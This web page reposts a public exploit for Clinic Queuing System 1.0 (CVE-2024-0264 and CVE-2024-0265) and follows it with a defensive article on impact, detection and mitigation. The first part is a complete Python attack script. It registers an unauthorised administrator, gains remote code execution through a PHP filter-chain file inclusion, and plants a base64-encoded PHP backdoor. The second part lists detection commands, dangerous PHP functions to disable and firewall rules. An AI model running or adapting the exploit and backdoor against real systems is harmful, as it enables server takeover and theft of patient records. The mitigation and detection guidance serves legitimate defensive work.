Clinic Queuing System 1.0 - RCE

Exploit Author: Juan Marco Sanchez Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-05-08
# Exploit Title: Clinic Queuing System 1.0 RCE 
# Date: 2024/1/7
# Exploit Author: Juan Marco Sanchez
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html
# Version: 1.0
# Tested on: Debian Linux Apache Web Server
# CVE: CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): # CVE-2024-0264
rand_user = 'pwn_'+str(random.randint(100, 313))
rand_pass = 'pwn_'+str(random.randint(100, 313))
pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
print("[*] adding administrator " + rand_user + ":" + rand_pass)
phase1 = requests.post(phase1_url, pwn_user_data)
if "User Account has been added successfully." in phase1.text:
print("[+] Phase 1 Success - Admin user added!\n")
print("[*] Initiating Phase 2")
phase2(rand_user, rand_pass)
else:
print("[X] user creation failed :(")
die()

def phase2(user, password): # CVE-2024-0265
s = requests.Session();
login_data = {'formToken':'','username':user, 'password':password}
print("[*] Loggin in....")
phase2 = s.post(phase2_url, login_data)

if "Login successfully." in phase2.text:
print("[+] Login success")
else:
print("[X] Login failed.")
die()

print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
#print("[*] Payload: " + rce_url)
rce = s.get(rce_url)

if "jmrcsnchz" in rce.text:
print("[+] RCE success!")
soup = BeautifulSoup(rce.text, 'html.parser')
print("[+] Output of id: " + soup.pre.get_text())
print("[*] Uploading php backdoor....")
s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
print("[+] Access at " + base_url + "/rce.php?0=whoami")
else:
print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
die()

try:
print("[*] Initiating Phase 1")
phase1()
except:
print("Exploit failed.")


Clinic Queuing System 1.0 — RCE Analysis, Impact, and Mitigation

This article provides a security-focused, defensive review of the remote code execution (RCE) issues reported against "Clinic Queuing System 1.0" (reported under CVE-2024-0264 and CVE-2024-0265). It explains the root causes, potential impact, detection techniques and practical remediation and hardening steps for system owners and defenders. The goal is to enable safe, corrective action — not to provide exploit instructions.

At‑a‑glance summary

Vulnerability Type CVE Risk Affected versions
Unauthenticated account creation Missing authorization / logic flaw CVE-2024-0264 High — can create elevated accounts Clinic Queuing System 1.0
Unsafe file inclusion / filter chaining leading to RCE Local file inclusion / PHP stream wrapper misuse CVE-2024-0265 Critical — can lead to remote command execution Clinic Queuing System 1.0

Root causes (high level)

  • Endpoints that accept account creation requests without proper authorization checks or role assignment validation, allowing attackers to create administrative accounts.
  • Dynamic file inclusion that directly uses user-supplied input for includes (e.g., page query parameter) without a strict whitelist and path sanitization.
  • Overly permissive PHP stream wrappers and filters combined with insufficient input validation, enabling filter-chaining and transformation tricks to read or write files and inject executable payloads.
  • Insufficient server hardening and disabled PHP restrictions (or enabling of dangerous functions), increasing the impact of a successful injection.

Impact & use cases

  • Attackers may create privileged accounts and log in as administrators.
  • Exploitation of unsafe inclusion/filters can allow arbitrary code execution on the webserver context, leading to full server compromise (webshells, data exfiltration, lateral movement).
  • Exposure of patient records and personally identifiable information (PII), with regulatory and reputational consequences.

Detection & Indicators of compromise (IOCs)

Monitoring and searching for the following patterns can help detect attempted or successful exploitation. These are defensive signatures — not exploit blueprints.

  • HTTP requests with unusual query string values referencing PHP stream wrappers such as "php://filter".
  • Requests with long, repetitive or highly-encoded query strings (base64-like payloads or many repeated filter tokens).
  • New or unexpected administrative users in the application database — especially accounts created at odd hours.
  • Webserver activity that writes new PHP files to the document root (e.g., rce.php or other unfamiliar .php files).
  • Execution traces in logs of functions like exec(), shell_exec(), system(), or suspicious process executions spawned by the web server user.
  • Outbound network connections from the webserver or new cron jobs and scheduled tasks created by the webserver user.

Immediate response checklist (if compromise suspected)

  • Isolate the host from the network to prevent further outbound connections and lateral movement.
  • Preserve system and webserver logs, DB snapshots, and filesystem images for forensic analysis.
  • Check and export the application database, looking for unexpected users or changes to records and schemas.
  • Search the document root for recently added or modified files, particularly .php files not under version control.
  • Rotate credentials for admin accounts, database users, and any exposed secrets — but only after collection of forensic artifacts.
  • Rebuild or restore the system from a known-good backup after ensuring root cause remediation and re-image if necessary.

Mitigation and secure coding guidance

1) Fix authorization and user creation logic

Registration or account creation endpoints must enforce authorization and role assignment rules. Unauthenticated or unauthorised requests must not be able to create administrator accounts.

// Example: pseudo-PHP for server-side registration control (defensive, illustrative)
if (! current_user_is_admin()) {
    // If this is a public registration endpoint, disallow setting 'type' or 'status' fields directly.
    // Force default low-privilege role for new accounts.
    $role = 'user';
} else {
    // Only administrators can create admin accounts
    $role = sanitize_role($_POST['role']);
}
// Use parameterized queries (prepared statements) to insert user.

Explanation: This snippet illustrates the principle — never trust client-supplied role or privilege fields. Enforce server-side role determination, require administrator authentication for elevated account creation, and always use input sanitization and prepared statements for database interactions.

2) Eliminate dynamic include of arbitrary paths — use a whitelist

Dynamic includes that use user input (for example, include($_GET['page'])) are a major source of Local File Inclusion (LFI) and can be combined with PHP stream wrappers to escalate to RCE. Replace free-form inclusion with an explicit whitelist mapping.

// Secure PHP include using a whitelist
$allowed_pages = [
    'home' => __DIR__ . '/pages/home.php',
    'dashboard' => __DIR__ . '/pages/dashboard.php',
    'settings' => __DIR__ . '/pages/settings.php',
];

$page_key = $_GET['page'] ?? 'home';
if (! array_key_exists($page_key, $allowed_pages)) {
    http_response_code(404);
    echo "Page not found";
    exit;
}
include $allowed_pages[$page_key];

Explanation: The code uses a server-side mapping of permitted page keys to concrete file paths. No user input is used directly to construct a path; therefore, stream wrappers and path traversal attacks are neutralized.

3) Validate and sanitize input, and avoid relying on PHP filters

  • Avoid using complex or reversible filter chains that process user-supplied stream URIs.
  • Where possible, disable dangerous PHP stream wrappers or restrict their use via configuration and code-level checks.
  • Use strict input validation (type checks, length limits, allowlists) and output encoding for any data rendered to pages.

4) Harden PHP and the server

Area Recommended settings / actions
php.ini disable_functions = exec,passthru,shell_exec,system,proc_open,popen
allow_url_include = Off
open_basedir = /var/www/html/:/tmp/
File system Run the webserver under a low-privilege user, limit write permissions to only required directories (uploads, cache), and ensure document root is not writable by the webserver user except where necessary.
Web Application Firewall (WAF) Create rules to block requests containing suspicious values (e.g., php://filter, extremely long base64-like query strings, attempts to write files).
Logging & monitoring Centralize logs, enable alerting on anomalies (new PHP files, repeated 404s with unusual query strings, new admin account creation).

5) Use prepared statements for database operations

// Secure user creation: PDO prepared statement (PHP)
$stmt = $pdo->prepare('INSERT INTO users (fullname, username, password_hash, role, status) VALUES (?, ?, ?, ?, ?)');
$pwd_hash = password_hash($plain_password, PASSWORD_ARGON2ID);
$stmt->execute([$fullname, $username, $pwd_hash, $role, $status]);

Explanation: Use strong password hashing (argon2id or bcrypt), and never store plaintext passwords. Prepared statements prevent SQL injection and avoid accidental concatenation of untrusted data into SQL queries.

6) Restrict or validate file write operations

If your application must write files (e.g., uploads), strictly validate filenames and content types, store files outside the web root if possible, and give any saved files non-executable permissions. For example, uploaded files can be stored in a directory served by the webserver as static assets and never evaluated as PHP.

7) Upgrade and patch

  • Apply vendor patches or updated releases that address CVE-2024-0264 and CVE-2024-0265. If an official patch is not available, apply the defensive code-level mitigations above and restrict access to the vulnerable endpoints until a patch is released.
  • Ensure the underlying OS, PHP runtime, and webserver are up to date with security fixes.

Detection signatures and log checks (defensive examples)

Below are safe examples of detection rules and log search queries you can run to look for exploitation attempts. These are detection-oriented and avoid instructive exploit detail.

# Example: search Apache/Nginx access logs for suspicious stream wrapper usage
grep -i 'php://filter' /var/log/apache2/*access.log*
# Example: find newly created php files in document root in the last 7 days
find /var/www/html -type f -name '*.php' -mtime -7 -ls

Explanation: The first command looks for requests containing "php://filter" in webserver logs — a common sign of LFI/filter misuse. The second command finds new .php files that may indicate a webshell or backdoor upload.

Incident recovery and post-mortem

  • After removing any malicious artifacts and patching the root cause, perform a full system rebuild from trusted images or backups — compromises involving RCE often require full reinstallation to ensure no persistence mechanisms remain.
  • Rotate all credentials and secrets that may have been exposed, including API keys, database passwords, and service account credentials.
  • Conduct a post‑incident review to identify process or control gaps (e.g., lack of authorization checks, code review failures) and update your SDLC to include static/dynamic scanning and fuzz testing for input handling.
  • Consider notifying impacted users and relevant authorities (data protection regulators) when sensitive data may have been exposed.

Responsible disclosure and coordination

If you discover a new vulnerability in an application, follow responsible disclosure guidelines: report it privately to the vendor with sufficient detail to reproduce and remediate, allow time for a fix, and coordinate public disclosure if required. For production environments, prioritize immediate mitigations (block access, WAF rules) until fixes are applied.

Recommended resources

  • OWASP: Top Ten — for common injection and authorization issues
  • OWASP Secure Coding Practices — for defensive development patterns
  • Vendor advisories and CVE database entries for the specific product